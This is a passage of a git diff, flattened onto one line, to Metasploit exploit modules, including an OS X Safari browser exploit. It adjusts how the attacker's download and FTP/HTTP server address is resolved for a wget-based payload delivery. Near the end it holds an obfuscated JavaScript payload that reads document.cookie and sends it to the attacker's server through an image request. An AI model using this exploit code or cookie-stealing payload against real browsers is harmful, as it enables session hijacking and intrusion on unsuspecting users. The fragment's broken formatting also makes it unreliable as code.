"http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri}" - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + + # we use SRVHOST as download IP for the coming wget command. + # SRVHOST needs a real IP address of our download host + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| diff --git a/modules/exploits/osx/browser/safari_file_policy.rb b/modules/exploits/osx/browser/safari_file_policy.rb index 4f4a631d01da7..a17faebb2631c 100644 --- a/modules/exploits/osx/browser/safari_file_policy.rb +++ b/modules/exploits/osx/browser/safari_file_policy.rb @@ -82,13 +82,25 @@ def exploit # Start the FTP server start_service() - print_status("Local FTP: #{bindhost}:#{bindport}") + print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}") # Create our own HTTP server # We will stay in this functino until we manually terminate execution start_http() end + # + # Lookup the right address for the client + # + def lookup_lhost(c = nil) + # Get the source address + if datastore['SRVHOST'] == '0.0.0.0' + Rex::Socket.source_address(c || '50.50.50.50') + else + datastore['SRVHOST'] + end + end + # # Override the client connection method and # initialize our payload @@ -164,7 +176,7 @@ def start_http(opts = {}) # Default the server host / port opts = { - 'ServerHost' => srvhost, + 'ServerHost' => datastore['SRVHOST'], 'ServerPort' => datastore['HTTPPORT'], 'Comm' => comm }.update(opts) @@ -265,11 +277,11 @@ def on_request_uri(cli, request) <', '*/i.src=u/*', '*/new Image;/*', '*/var i=/*', "*/s+h+p+'/'+c;/*", '*/var u=/*', "*/'http://';/*", '*/var s=/*', "*/':#{srvport}';/*", '*/var p=/*', '*/a+b;/*', '*/var h=/*', "*/'#{h2}';/*", '*/var b=/*', "*/'#{h1}';/*", '*/var a=/*', '*/d.cookie;/*', '*/var c=/*', '*/document;/*', '*/var d=/*', '<', '*/i.src=u/*', '*/new Image;/*', '*/var i=/*', "*/s+h+p+'/'+c;/*", '*/var u=/*', "*/'http://';/*", '*/var s=/*', "*/':#{datastore['SRVPORT']}';/*", '*/var p=/*', '*/a+b;/*', '*/var h=/*', "*/'#{h2}';/*", '*/var b=/*', "*/'#{h1}';/*", '*/var a=/*', '*/d.cookie;/*', '*/var c=/*', '*/document;/*', '*/var d=/*', '